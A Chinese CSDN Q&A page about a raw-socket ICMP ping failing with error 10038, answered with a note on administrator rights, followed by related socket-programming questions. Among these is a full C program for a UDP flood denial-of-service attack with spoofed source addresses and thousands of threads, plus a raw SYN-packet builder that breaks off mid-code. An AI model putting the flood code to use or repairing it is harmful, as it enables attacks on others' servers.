这个程序 sendto 返回-1 错误编号 10038 是为什么啊 麻烦大家帮我看一看

#include
#include"ping.h"
#include
CInitSock initSock; // 链接初始化 winsock 库
USHORT checksum(USHORT* buff, int size)
{
unsigned long cksum = 0;

while (size > 1)
{
    cksum += *buff++;
    size -= sizeof(USHORT);
}

if (size)
{
    cksum += *(UCHAR*)buff;
}

// 将cksum的高16位和低16位相加,取反后得到校验和
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (USHORT)(~cksum);

}

int main()
{
char szDestIp[] = "180.97.33.107";
SOCKET sRaw = ::socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

SOCKADDR_IN dest;
dest.sin_family = AF_INET;
dest.sin_port = htons(0);
dest.sin_addr.S_un.S_addr = inet_addr(szDestIp);

ECHOREQUEST echoReq;

echoReq.icmphdr.icmp_type = 8;
echoReq.icmphdr.icmp_code = 0;
echoReq.icmphdr.icmp_id = (USHORT)GetCurrentProcessId();
echoReq.icmphdr.icmp_checksum = 0;
echoReq.icmphdr.icmp_sequence = 0;

memset(&echoReq.cData, 'E', 32);

USHORT nSeq = 0;
SOCKADDR_IN from;
int nLen = sizeof(from);
while (TRUE)
{
    static int nCount = 0;
    int nRet;
    if (nCount++ == 4) break;

    echoReq.icmphdr.icmp_checksum = 0;

    echoReq.icmphdr.icmp_timestamp = GetTickCount();
    echoReq.icmphdr.icmp_sequence = nSeq++;
    echoReq.icmphdr.icmp_checksum =
        checksum((USHORT*)&echoReq, sizeof(echoReq));

    nRet = sendto(sRaw, (char*)&echoReq, sizeof(echoReq), 0,
        (SOCKADDR*)&dest, sizeof(dest));
    if (nRet == SOCKET_ERROR)
    {
        printf("sendto() failed:%d\n", WSAGetLastError());
        return -1;
    }

    ECHOREPLY echoReply;
    nRet = recvfrom(sRaw, (char*)&echoReply, sizeof(ECHOREPLY),
        0, (sockaddr*)&from, &nLen);
    if (nRet == SOCKET_ERROR)
    {
        if (WSAGetLastError() == WSAETIMEDOUT)
        {
            printf("time out\n");
            continue;
        }
        printf("recvfrom() failed:%d\n", WSAGetLastError());
        return -1;
    }

    if (nRet < sizeof(ECHOREPLY))
    {
        printf("Too few bytes from %s \n", inet_ntoa(from.sin_addr));
    }
    if (echoReply.echoRequest.icmphdr.icmp_type != 0)
    {
        printf("nonecho type %d recvd\n",
            echoReply.echoRequest.icmphdr.icmp_type);
        return -1;
    }
    if (echoReply.echoRequest.icmphdr.icmp_id != GetCurrentProcessId())
    {
        printf("someone else's packet!\n");
        return -1;
    }

    printf("%d bytes Reply from %s", nRet,
        inet_ntoa(from.sin_addr));
    printf("icmp_seq = %d.",
        echoReply.echoRequest.icmphdr.icmp_timestamp);

    printf("TTL=%d", echoReply.iphdr.ipTTL);

    printf("\n");
    Sleep(1000);
}




return 0;

}

1个回答

#include"../../common/initsock.h"

typedef struct icmp_hdr
{
unsigned char icmp_type;
unsigned char icmp_code;
unsigned short icmp_checksum;

unsigned short icmp_id;
unsigned short icmp_sequence;
unsigned long  icmp_timestamp;

}ICMP_HDR, *PICMP_HDR;

typedef struct _IPHeader
{
UCHAR iphVerLen; //版本号和头长度
UCHAR ipTOS; //服务类型
USHORT ipLength; //整个IP报文段的长度
USHORT ipID; //封包标识
USHORT ipFlag; //标识和片偏移
UCHAR ipTTL; //生存时间
UCHAR ipProtocol; //协议
USHORT ipChecksum; //校验和
ULONG ipSource; //源IP地址
ULONG ipDestination;//目标IP地址
}IPHeader,*PIPHeader;

typedef struct _EchoRequest{
ICMP_HDR icmphdr;
char cData[32];
}ECHOREQUEST,*PECHOREQUEST;

#define REQ_DATASIZE 32

typedef struct _EchoReply
{
IPHeader iphdr;
ECHOREQUEST echoRequest;
}ECHOREPLY, *PECHOREPLY;

USHORT checksum(USHORT* buff, int size);

这是头文件

使用原始套接字需要管理员权限,用管理员权限运行exe 就好了

Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
c++,socket编程实现简易聊天系统,客户端一直连不上服务端,connect返回错误10014
客户端 ``` //建立线程 DWORD WINAPI ConnectThreadFunc(LPVOID pParam) { //初始化 WSAData wsData; if (!AfxSocketInit(&wsData)) { AfxMessageBox(_T("Socket 库初始化出错!")); return false; } CMFCApplication1View *pChatClient = (CMFCApplication1View*)pParam; ASSERT(pChatClient != NULL); //新建一个socket pChatClient->ConnectSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (INVALID_SOCKET==pChatClient->ConnectSock ) { AfxMessageBox(_T("创建socket失败!")); return FALSE; } AfxMessageBox(_T("成功创建socket")); //获取端口 CString ServeIp; pChatClient->GetDlgItemText(IDC_SERVEID_INPUT, ServeIp); //取服务端的IP地址 int SPort = pChatClient->GetDlgItemInt(IDC_SERVEPORT_INPUT); //获取端口 if (SPort <= 0 || SPort > 65535) { AfxMessageBox(_T("请输入合法的端口:1-65535")); goto _End; } AfxMessageBox(_T("端口合法")); //将IP转换 char AddrIp[16] = { 0 }; //窄字节 USES_CONVERSION; strcpy_s(AddrIp, 16, T2A(ServeIp)); // T2A:宏,进行字符串的转换 //将服务器的信息放入通用套接字中 sockaddr_in server; server.sin_family = AF_INET; server.sin_port = htons(SPort); server.sin_addr.s_addr = inet_addr("192.168.73.1"); //客户端连接服务端 //将server传给connect if ( SOCKET_ERROR == connect(pChatClient->ConnectSock, (struct sockaddr*)&server, sizeof(struct sockaddrr*)) ) { /* char ErrorInfo[256] = { 0 }; //创建数组存储错误信息 sprintf_s(ErrorInfo, "Creat Faile : %d", GetLastError()); //把错误信息写入数组 AfxMessageBox((CString)ErrorInfo); */ AfxMessageBox(_T("连接失败!")); goto _End; } pChatClient->MsgShow(_T("服务器连接成功!")); while (TRUE) { if (SOCKERT_Select(pChatClient->ConnectSock,100,TRUE)) { char szBuf[MAX_BUF_SIZE] = { '0' }; //缓冲区 int iRet = recv(pChatClient->ConnectSock, szBuf, MAX_BUF_SIZE, 0); //recv()用来接收远程主机通过套接字sockfd发送来的数据, //并把这些数据保存到数组buf中 if (iRet > 0) { pChatClient->MsgShow((CString)szBuf); } else { pChatClient->MsgShow(_T("连接异常,请重新连接!")); break; } } Sleep(100); } _End: closesocket(pChatClient->ConnectSock); return TRUE; } ``` 服务端 ``` SOCKET ComSock; //用于发送消息 //查看客户端是否发来消息,并快速返回 BOOL SOCKERT_Select(SOCKET Socket, int TimeOut, BOOL bRead) { fd_set fdset; //通知执行了select()的进程哪一socket或文件发生了可读或可写事件 //long类型的数组,每一个数组元素都能与一打开的文件句柄建立联系 timeval tv; //判断是否超时,用于select()函数 FD_ZERO(&fdset); //清空集合中所有的元素 FD_SET(Socket, &fdset); //设置hSocket,使集合包含hSocket,即建立联系 TimeOut = TimeOut > 1000 ? 1000 : TimeOut; tv.tv_sec = 0; //秒数 tv.tv_usec = TimeOut; //微秒数 int iRet = 0; if (bRead) { //select()测试指定的fd可读?可写?有异常条件待处理? //即对socket操作 iRet = select(0, &fdset, NULL, NULL, &tv); } //读 else { iRet = select(0, NULL, &fdset, NULL, &tv); } //写 if (iRet <= 0) { //返回错误时 return FALSE; } else if (FD_ISSET(Socket, &fdset)) {//返回处于就绪状态并且已经包含在fd_set结构中的描述字总数 return TRUE; } return FALSE; //返回零时(超时返回零) } //通过线程来开启服务器,因为accept是阻塞的 //线程函数 DWORD WINAPI LisenThreadFunc(LPVOID pParam) { //LPVOID :32位的无类型的指针,在使用的时候再强制转换成需要的类型 CMFCApplication1View *pChatClient = (CMFCApplication1View*)pParam; //强制转换 ASSERT(pChatClient != NULL); //保证指针不为空 //断言函数,表达式为假则退出程序,为真继续执行 //用socket函数创建一个socket,用于监听 //成功则返回一个socket pChatClient->ListenSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (pChatClient->ListenSock == INVALID_SOCKET) { AfxMessageBox(_T("创建socket失败!")); return 0; } //绑定,将 ListenSock 绑定在本地的一个ip和端口上 //1、动态获取用户输入的端口 int Port = pChatClient->GetDlgItemInt(IDC_LISTENPORT_INPUT); if (Port <= 0 || Port > 65535) { AfxMessageBox(_T("请输入合适的端口:1-65535")); goto _End; } //2、建立通用套接字 sockaddr_in service; //一种通用的套接字地址。用来建立所需信息,最后使用类型转换 //一般用于bind、connect、recvfrom、sendto等函数的参数 service.sin_family = AF_INET; //协议族 service.sin_addr.s_addr = inet_addr("127.0.0.1"); //获取本机所有可能得到的ip地址 service.sin_port = htons(Port); //传递端口 //htons:将主机字节顺序转换为网络字节顺序 //3、利用bind进行绑定 if (bind(pChatClient->ListenSock, (sockaddr*)&service, sizeof(sockaddr_in)) == SOCKET_ERROR) { AfxMessageBox(_T("绑定失败!")); goto _End; } AfxMessageBox(_T("绑定成功!")); //监听 if (listen(pChatClient->ListenSock, 4) == SOCKET_ERROR) { AfxMessageBox(_T("监听失败!")); goto _End; } //服务器已搭建完毕,开始进行消息监测 while (TRUE) { if (SOCKERT_Select(pChatClient->ListenSock, 1000, TRUE)) {//若有消息 sockaddr_in ClientSocket; int len = sizeof(sockaddr_in); //返回客户端(即对方)的IP地址和端口 SOCKET ComSock = accept(pChatClient->ListenSock, (struct sockaddr*)&ClientSocket, &len); if (ComSock == INVALID_SOCKET) { //若没有收到信息 continue; } //当要进行信息交互时,再建一个新线程来进行信息交互 // CMFCApplication1View *ClientCopy; HANDLE iTtem; iTtem = CreateThread(NULL, 0, ClientThreadProc, pChatClient, CREATE_SUSPENDED, NULL); pChatClient->comThread = iTtem; ResumeThread(iTtem); //恢复线程的执行 } Sleep(100); } _End: closesocket(pChatClient->ListenSock); //强制关闭socket return TRUE; } ``` 由于最近刚学socket,实在不知道怎么改了,请各位大神帮我康康,谢谢大家!(呜呜呜我是新手么的c币)
请教socket的sendto耗时的问题
我连续发送两个32字节的包,第一个包sendto耗时20-30us而第二个包耗时7-12us,为什么有这么大的差距?
这是一个关于PYTHO的socket -raw问题
``` import struct,array import socket,time service=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_ICMP) service.settimeout(3) head=struct.pack('bbHHh',8,0,0,1,1) data=struct.pack('h',4) bao=head+data def jiaoyan(bao): sum=0 if len(bao)&1: bao=bao+b'\0' words=array.array('h',bao) for word in words: sum+=word word=word>>16+word&0xffff word = word >> 16 + word & 0xffff return ~sum&0xffff hhhhhhh=jiaoyan(bao) head=struct.pack('bbHHh',8,0,hhhhhhh,1,1) bao=head+data service.sendto(bao,('127.0.0.1',2000)) data,add=service.recvfrom(100) print(data) service.close() ``` 这是我写的完美的icmp包,然后ping主机的代码,但是运行后数据包超时。。
Python多进程问题的报错问题
小弟想通过多进程实现客户端给服务器发送信息,服务器同时接收多个信息。但是会收到以下报错: OSError: [WinError 10048] 通常每个套接字地址(协议/网络地址/端口)只允许使用一次。 看网上说是进程停止又重启造成的结果 小弟贴下自己的代码,麻烦大家看下 ``` import multiprocessing from socket import import time server_name='172.20.53.211' port_number1=12002 port_number2=12003 def process_one(): server_socket1 = socket(AF_INET, SOCK_DGRAM) server_socket1.bind(('', port_number1)) data_receive1, client_address = server_socket1.recvfrom(1024) server_socket1.close() print(data_receive1,1) def process_two(): server_socket2 = socket(AF_INET, SOCK_DGRAM) server_socket2.bind(('', port_number2)) data_receive2, client_address = server_socket2.recvfrom(1024) server_socket2.close() print(data_receive2,2) p1=multiprocessing.Process(target=process_one()) p1.start() p2=multiprocessing.Process(target=process_two()) p2.start() ``` 以上是服务器端的代码 以下是客户端发送代码 ``` from socket import * import time server_name='172.20.53.211' port_number1=12002 port_number2=12003 client_socket = socket(AF_INET, SOCK_DGRAM) f1=open('1.txt','rb') fcontent=f1.read() client_socket.sendto(fcontent,(server_name, port_number1)) time.sleep(0.2) client_socket.sendto('a'.encode('UTF-8'),(server_name, port_number2)) client_socket.close() ``` 求大佬指出哪里错了,谢谢
windows下C++网络编程,发送组播报文,sendto()函数发送失败,WSAGetLastError()返回错误码为5
1:windows下C++网络编程,发送组播报文,sendto()函数发送失败,WSAGetLastError()返回错误码为5 2:代码如下: // WinsockServer_1.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> const int MAX_BUF_LEN = 10; // Link with ws2_32.lib #pragma comment(lib, "Ws2_32.lib") int _tmain(int argc, _TCHAR* argv[]) { WORD wVersionRequested; WSADATA wsaData; int err; // 启动socket api wVersionRequested = MAKEWORD(2, 2); err = WSAStartup(wVersionRequested, &wsaData); if (err != 0) { return -1; } if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) { WSACleanup(); return -1; } // 创建socket SOCKET connect_socket; connect_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (INVALID_SOCKET == connect_socket) { err = WSAGetLastError(); printf("error! error code is %d/n", err); return -1; } SOCKADDR_IN sin; sin.sin_family = AF_INET; sin.sin_port = htons(3779); //sin.sin_addr.s_addr = INADDR_BROADCAST; sin.sin_addr.s_addr = inet_addr("224.0.0.22");//设置广播地址,window下用这种形式方可 bool bOpt = true; //设置该套接字为广播类型 if (setsockopt(connect_socket, SOL_SOCKET, SO_BROADCAST, (char*)&bOpt, sizeof(bOpt)) == SOCKET_ERROR) { printf("setsockopt error"); return -1; } if (setsockopt(connect_socket, SOL_SOCKET, SO_DEBUG, (char*)&bOpt, sizeof(bOpt)) == SOCKET_ERROR) { printf("setsockopt error"); return -1; } setsockopt(connect_socket, SOL_SOCKET, SO_BROADCAST, (char*)&bOpt, sizeof(bOpt)); int nAddrLen = sizeof(SOCKADDR); char buff[MAX_BUF_LEN] = ""; while (1) { sprintf_s(buff, "%s","ss"); // 发送数据 int nSendSize = sendto(connect_socket, buff, strlen(buff), 0, (SOCKADDR*)&sin, nAddrLen); if (SOCKET_ERROR == nSendSize) { err = WSAGetLastError(); printf("error!, error code is %d/n", err); return -1; } printf("Send: %s/n", buff); Sleep(500); } return 0; }
Linux socket udp发送数据返回socket错误22
linux下用c网络编程用sendto发送数据,总返回socket error代号22是什么错误呢?
udp洪水攻击照着别人的视频敲了以后出现transport endpoint is not connected和 Invalid argument怎么解决这个问题?
```#include<stdio.h> #include<stdlib.h> #include<string.h> #include<sys/types.h> #include<sys/socket.h> #include<netinet/in.h> #include<netinet/ip.h> #include<netinet/udp.h> #include<arpa/inet.h> #include<signal.h> #include<pthread.h> #include<unistd.h> #define MAX 10240 int sockfd=-1; int flag=1; int send_udp_dos(int connfd,struct sockaddr_in *paddr); void handler(int signo) { printf("捕捉到信号:%d\n",signo); flag=0; } void *fun(void *arg) { struct sockaddr_in *addr=arg; while(flag) { send_udp_dos(sockfd,addr); } pthread_exit(NULL); } //计算16位UDP校验和 unsigned short checksum(unsigned char *buf, int len) { unsigned int sum = 0; unsigned short *cbuf; cbuf = (unsigned short *)buf; while(len > 1) { sum += *cbuf++; len -= 2; //剩余尚未累加的16比特的个数 } if(len) //若len的长度不是偶数 sum += *(unsigned char *)cbuf; //用最后一个字节补齐 //防溢出处理 sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum; } //组织UDP数据包 int send_udp_dos(int connfd, struct sockaddr_in *paddr) { int len = 0; int ret = -1; char *packet = NULL; char *data = NULL; struct ip *ipheader = NULL; struct udphdr *udpheader = NULL; //分配空间 IP首 部 + UDP首部 + 数据(64) len = sizeof(struct ip) + sizeof(struct udphdr) + 64; packet = malloc(len); if (NULL == packet) { printf("malloc failed...\n"); return 1; } //内存清零 memset(packet, 0, len); //第一部分: IP首部 ipheader = (struct ip*)packet; //第二部分: UDP首部 udpheader = (struct udphdr*)(packet + sizeof(struct ip)); //第三部分:数据 data = packet + sizeof(struct ip) + sizeof(struct udphdr); //封装IP协议 //协议的版本 IPv4 ipheader->ip_v = 4; //首部长度 20字节 20 / 4 = 5 ipheader->ip_hl = 5; //区分服务 暂时没有使用 ipheader->ip_tos = 0; //总长度 转化为网路序 ipheader->ip_len = htons(len); //标识 随机 ipheader->ip_id = random() % 1024; //标志 + 片偏移 ipheader->ip_off = 0; //生存时间 随机指定64 ipheader->ip_ttl = 64; //协议 ipheader->ip_p = IPPROTO_UDP; //首部校验和 暂时填写0 ipheader->ip_sum = 0; ipheader->ip_sum = checksum((unsigned char *)ipheader, sizeof(struct ip)); //随机源地址 ipheader->ip_src.s_addr = random() % 1000; //目的地址 参数paddr传递进来的 ipheader->ip_dst = paddr->sin_addr; //封装UDP协议 //随机端口 保证每一次发送数据端口不一样 udpheader->uh_sport = 1024 + random() % 100; //目的端口 udpheader->uh_dport = paddr->sin_port; //长度 UDP首部 + 数据 udpheader->uh_ulen = htons(sizeof(struct udphdr) + 64); //校验和 udpheader->uh_sum = 0; udpheader->uh_sum = checksum((unsigned char *)udpheader, sizeof(struct udphdr) + 64); //填充数据 strcpy(data, "B17070316"); //发送数据 (vim) //第一个参数: 套接字 //第二个参数: 发送数据 //第三个参数: 发送数据长度 //第四个参数: 标志 //第五个参数: 服务端addr结构 //第六个参数: sizeof(struct sockaddr_in) ret = sendto(connfd, packet, len, 0, (void*)paddr, sizeof(struct sockaddr_in)); if (ret <= 0) { perror("sendto"); return -1; } printf("ret: %d\n", ret); //释放内存 free(packet); } //UDP洪水攻击 int main(int argc, char **argv) { int i = 0; int ret = -1; int on = -1; //保存线程tid 线程号 pthread_t tid[MAX]; //填写服务端信息 struct sockaddr_in addr; //0. 参数检查 //argv[0] 可执行文件 //argv[1]: IP //argv[2]: 端口 if (3 != argc) { printf("usaage: ./a.out IP port\n"); return 1; } //注册信号 软件中断 //第一个参数: 信号编号 SIGINT Ctrl + C 产生 //第二个参数: 信号处理函数 用户按下Ctrl + C 就会调用回调函数handler signal(SIGINT, handler); //1. 创建套接字 UDP sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP); if (-1 == sockfd) { //输出出错原因 perror("socket"); return 1; } printf("sockfd = %d\n", sockfd); //设置自己封装IP on = 1; //表示使能 ret = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)); if (-1 == ret) { perror("setsockopt"); return -1; } //2. 初始化结构体 //服务端IP + 服务端端口 //man 7 ip memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; //ipv4 //将字符串转化为int类型 "123"--> 123 addr.sin_port = htons(atoi(argv[2])); //填充IP 192.168.12.88 //字符串IP转化为大端模式的IP inet_pton(AF_INET, argv[1], (void*)&addr.sin_addr); printf("攻击的服务器IP: %s 端口: %s\n", argv[1], argv[2]); #if 1 //循环创建线程 for (i = 0; i < MAX; i++) { //第一个参数:传出线程号 //第二个参数:线程属性 默认即可 NULL: //第三个参数:线程处理函数 线程启动之后执行函数 //第四个参数:传递给线程处理函数的参数 pthread_create(&tid[i], NULL, fun, (void*)&addr); } //等待所有的线程退出 for (i = 0; i < MAX; i++) { //第一个参数: 线程ID //第二个参数: 传出线程退出状态 pthread_join(tid[i], NULL); } #else //3. 循环发送数据 while(1) { send_udp_dos(sockfd, &addr); } #endif //4. 关闭文件描述符 close(sockfd); return 0; } ``` ``` ```
tracert程序编译成功运行后,无法正常发送接收包,输出结果只有123456789101112131415161718192021222324252627282930,不显示详细情况,单步运行后发现接收发送包的部分没执行
![图片说明](https://img-ask.csdn.net/upload/201911/30/1575117089_191288.jpg) #include <iostream> #include <winsock2.h> #include <ws2tcpip.h> using namespace std; #pragma comment(lib, "Ws2_32.lib") //IP报头 typedef struct IP_HEADER { unsigned char hdr_len:4; //4位头部长度 unsigned char version:4; //4位版本号 unsigned char tos; //8位服务类型 unsigned short total_len; //16位总长度 unsigned short identifier; //16位标识符 unsigned short frag_and_flags; //3位标志加13位片偏移 unsigned char ttl; //8位生存时间 unsigned char protocol; //8位上层协议号 unsigned short checksum; //16位校验和 unsigned long sourceIP; //32位源IP地址 unsigned long destIP; //32位目的IP地址 } IP_HEADER; //ICMP报头 typedef struct ICMP_HEADER { BYTE type; //8位类型字段 BYTE code; //8位代码字段 USHORT cksum; //16位校验和 USHORT id; //16位标识符 USHORT seq; //16位序列号 } ICMP_HEADER; //报文解码结构 typedef struct DECODE_RESULT { USHORT usSeqNo; //序列号 DWORD dwRoundTripTime; //往返时间 in_addr dwIPaddr; //返回报文的IP地址 }DECODE_RESULT; //计算网际校验和函数 USHORT checksum( USHORT *pBuf, int iSize ) { unsigned long cksum = 0; while( iSize > 1 ) { cksum += *pBuf++; iSize -= sizeof(USHORT); } if( iSize )//如果 iSize 为正,即为奇数个字节 { cksum += *(UCHAR *)pBuf; //则在末尾补上一个字节,使之有偶数个字节 } cksum = ( cksum >> 16 ) + ( cksum&0xffff ); cksum += ( cksum >> 16 ); return (USHORT)( ~cksum ); } //对数据包进行解码 BOOL DecodeIcmpResponse(char * pBuf, int iPacketSize, DECODE_RESULT &DecodeResult, BYTE ICMP_ECHO_REPLY, BYTE ICMP_TIMEOUT) { //检查数据报大小的合法性 IP_HEADER* pIpHdr = ( IP_HEADER* )pBuf; int iIpHdrLen = pIpHdr->hdr_len * 4; //ip报头的长度是以4字节为单位的 //若数据包大小 小于 IP报头 + ICMP报头,则数据报大小不合法 if ( iPacketSize < ( int )( iIpHdrLen + sizeof( ICMP_HEADER ) ) ) return FALSE; //根据ICMP报文类型提取ID字段和序列号字段 ICMP_HEADER *pIcmpHdr = ( ICMP_HEADER * )( pBuf + iIpHdrLen );//ICMP报头 = 接收到的缓冲数据 + IP报头 USHORT usID, usSquNo; if( pIcmpHdr->type == ICMP_ECHO_REPLY ) //ICMP回显应答报文 { usID = pIcmpHdr->id; //报文ID usSquNo = pIcmpHdr->seq; //报文序列号 } else if( pIcmpHdr->type == ICMP_TIMEOUT )//ICMP超时差错报文 { char * pInnerIpHdr = pBuf + iIpHdrLen + sizeof( ICMP_HEADER ); //载荷中的IP头 int iInnerIPHdrLen = ( ( IP_HEADER * )pInnerIpHdr )->hdr_len * 4; //载荷中的IP头长 ICMP_HEADER * pInnerIcmpHdr = ( ICMP_HEADER * )( pInnerIpHdr + iInnerIPHdrLen );//载荷中的ICMP头 usID = pInnerIcmpHdr->id; //报文ID usSquNo = pInnerIcmpHdr->seq; //序列号 } else { return false; } //检查ID和序列号以确定收到期待数据报 if( usID != ( USHORT )GetCurrentProcessId() || usSquNo != DecodeResult.usSeqNo ) { return false; } //记录IP地址并计算往返时间 DecodeResult.dwIPaddr.s_addr = pIpHdr->sourceIP; DecodeResult.dwRoundTripTime = GetTickCount() - DecodeResult.dwRoundTripTime; //处理正确收到的ICMP数据报 if ( pIcmpHdr->type == ICMP_ECHO_REPLY || pIcmpHdr->type == ICMP_TIMEOUT ) { //输出往返时间信息 if(DecodeResult.dwRoundTripTime) cout<<" "<<DecodeResult.dwRoundTripTime<<"ms"<<flush; else cout<<" "<<"<1ms"<<flush; } return true; } void main() { //初始化Windows sockets网络环境 WSADATA wsa; WSAStartup( MAKEWORD(2,2), &wsa ); char IpAddress[255]; cout<<"请输入一个IP地址或域名:"; cin>>IpAddress; //得到IP地址 u_long ulDestIP = inet_addr( IpAddress ); //转换不成功时按域名解析 if( ulDestIP == INADDR_NONE ) { hostent * pHostent = gethostbyname( IpAddress ); if( pHostent ) { ulDestIP = ( *( in_addr* )pHostent->h_addr).s_addr; } else { cout<<"输入的IP地址或域名无效!"<<endl; WSACleanup(); return; } } cout<<"Tracing roote to "<<IpAddress<<" with a maximum of 30 hops.\n"<<endl; //填充目的端socket地址 sockaddr_in destSockAddr; ZeroMemory( &destSockAddr, sizeof( sockaddr_in ) ); destSockAddr.sin_family = AF_INET; destSockAddr.sin_addr.s_addr = ulDestIP; //创建原始套接字 SOCKET sockRaw = WSASocket( AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0, WSA_FLAG_OVERLAPPED ); //超时时间 int iTimeout = 3000; //设置接收超时时间 setsockopt( sockRaw, SOL_SOCKET, SO_RCVTIMEO, (char *)&iTimeout, sizeof( iTimeout ) ); //设置发送超时时间 setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char *)&iTimeout,sizeof(iTimeout)); //构造ICMP回显请求消息,并以TTL递增的顺序发送报文 //ICMP类型字段 const BYTE ICMP_ECHO_REQUEST = 8; //请求回显 const BYTE ICMP_ECHO_REPLY = 0; //回显应答 const BYTE ICMP_TIMEOUT = 11; //传输超时 //其他常量定义 const int DEF_ICMP_DATA_SIZE = 32; //ICMP报文默认数据字段长度 const int MAX_ICMP_PACKET_SIZE = 1024; //ICMP报文最大长度(包括报头) const DWORD DEF_ICMP_TIMEOUT = 3000; //回显应答超时时间 const int DEF_MAX_HOP = 30; //最大跳站数 //填充ICMP报文中每次发送时不变的字段 char IcmpSendBuf[ sizeof( ICMP_HEADER ) + DEF_ICMP_DATA_SIZE ];//发送缓冲区 memset( IcmpSendBuf, 0, sizeof( IcmpSendBuf ) ); //初始化发送缓冲区 char IcmpRecvBuf[ MAX_ICMP_PACKET_SIZE ]; //接收缓冲区 memset( IcmpRecvBuf, 0, sizeof( IcmpRecvBuf ) ); //初始化接收缓冲区 ICMP_HEADER * pIcmpHeader = ( ICMP_HEADER* )IcmpSendBuf; pIcmpHeader->type = ICMP_ECHO_REQUEST; //类型为请求回显 pIcmpHeader->code = 0; //代码字段为0 pIcmpHeader->id = (USHORT)GetCurrentProcessId(); //ID字段为当前进程号 memset( IcmpSendBuf + sizeof( ICMP_HEADER ), 'E', DEF_ICMP_DATA_SIZE );//数据字段 USHORT usSeqNo = 0; //ICMP报文序列号 int iTTL = 1; //TTL初始值为1 BOOL bReachDestHost = FALSE; //循环退出标志 int iMaxHot = DEF_MAX_HOP; //循环的最大次数 DECODE_RESULT DecodeResult; //传递给报文解码函数的结构化参数 while( !bReachDestHost && iMaxHot-- ) { //设置IP报头的TTL字段 setsockopt( sockRaw, IPPROTO_IP, IP_TTL, (char *)&iTTL, sizeof(iTTL) ); cout<<iTTL<<flush; //输出当前序号,flush表示将缓冲区的内容马上送进cout,把输出缓冲区刷新 //填充ICMP报文中每次发送变化的字段 ((ICMP_HEADER *)IcmpSendBuf)->cksum = 0; //校验和先置为0 ((ICMP_HEADER *)IcmpSendBuf)->seq = htons(usSeqNo++); //填充序列号 ((ICMP_HEADER *)IcmpSendBuf)->cksum = checksum( ( USHORT * )IcmpSendBuf, sizeof( ICMP_HEADER ) + DEF_ICMP_DATA_SIZE ); //计算校验和 //记录序列号和当前时间 DecodeResult.usSeqNo = ( ( ICMP_HEADER* )IcmpSendBuf )->seq; //当前序号 DecodeResult.dwRoundTripTime = GetTickCount(); //当前时间 //发送TCP回显请求信息 sendto( sockRaw, IcmpSendBuf, sizeof(IcmpSendBuf), 0, (sockaddr*)&destSockAddr, sizeof(destSockAddr) ); //接收ICMP差错报文并进行解析处理 sockaddr_in from; //对端socket地址 int iFromLen = sizeof(from);//地址结构大小 int iReadDataLen; //接收数据长度 while(1) { //接收数据 iReadDataLen = recvfrom( sockRaw, IcmpRecvBuf, MAX_ICMP_PACKET_SIZE, 0, (sockaddr*)&from, &iFromLen ); if( iReadDataLen != SOCKET_ERROR )//有数据到达 { //对数据包进行解码 if(DecodeIcmpResponse( IcmpRecvBuf, iReadDataLen, DecodeResult, ICMP_ECHO_REPLY, ICMP_TIMEOUT ) ) { //到达目的地,退出循环 if( DecodeResult.dwIPaddr.s_addr == destSockAddr.sin_addr.s_addr ) bReachDestHost = true; //输出IP地址 cout<<'\t'<<inet_ntoa( DecodeResult.dwIPaddr )<<endl; break; } } else if( WSAGetLastError() == WSAETIMEDOUT ) //接收超时,输出*号 { cout<<" *"<<'\t'<<"Request timed out."<<endl; break; } else { break; } } iTTL++; //递增TTL值 } }
想用原始套接字发送syn请求,出现一个问题,是因为构建的包的格式有问题吗?
``` import random import socket import struct import array def create_socket(): s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL,1) return s def get_host_ip(): s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.connect(('8.8.8.8',80)) ip=s.getsockname()[0] s.close() return ip def doCksum(packet): words = array.array('h', packet) sum = 0 for word in words: sum += (word & 0xffff) sum = (sum >> 16) + (sum & 0xffff) sum += (sum >> 16) return (~sum) & 0xffff def create_ip_header(source_ip, dest_ip): # ip 头部选项 headerlen = 5 version = 4 tos = 0 tot_len = 20 + 20 id = random.randrange(18000,65535,1) frag_off = 0 ttl = 255 protocol = socket.IPPROTO_TCP check = 10 saddr = socket.inet_aton ( source_ip ) daddr = socket.inet_aton ( dest_ip ) hl_version = (version << 4) + headerlen ip_header = struct.pack('BBHHHBBH4s4s', hl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr) return ip_header def create_tcp_syn_header(source_ip, dest_ip, dest_port): source = random.randrange(32000,62000,1) seq = 0 ack_seq = 0 doff = 5 fin = 0 syn = 1 rst = 0 psh = 0 ack = 0 urg = 0 window = socket.htons(8192) check = 0 urg_ptr = 0 offset_res = (doff << 4) + 0 tcp_flags = fin + (syn<<1) + (rst<<2) + (psh<<3) + (ack<<4) + (urg<<5) tcp_header = struct.pack('HHLLBBHHH', source, dest_port, seq, ack_seq, offset_res, tcp_flags, window, check, urg_ptr) source_address = socket.inet_aton( source_ip ) dest_address = socket.inet_aton( dest_ip ) placeholder = 0 protocol = socket.IPPROTO_TCP tcp_length = len(tcp_header) psh = struct.pack('4s4sBBH', source_address, dest_address, placeholder, protocol, tcp_length) psh = psh + tcp_header tcp_checksum = doCksum(psh) tcp_header = struct.pack('HHLLBBHHH', source, dest_port, seq, ack_seq, offset_res, tcp_flags, window, tcp_checksum, urg_ptr) return tcp_header source_ip = get_host_ip() dest_ip = '112.80.248.75' s = create_socket() 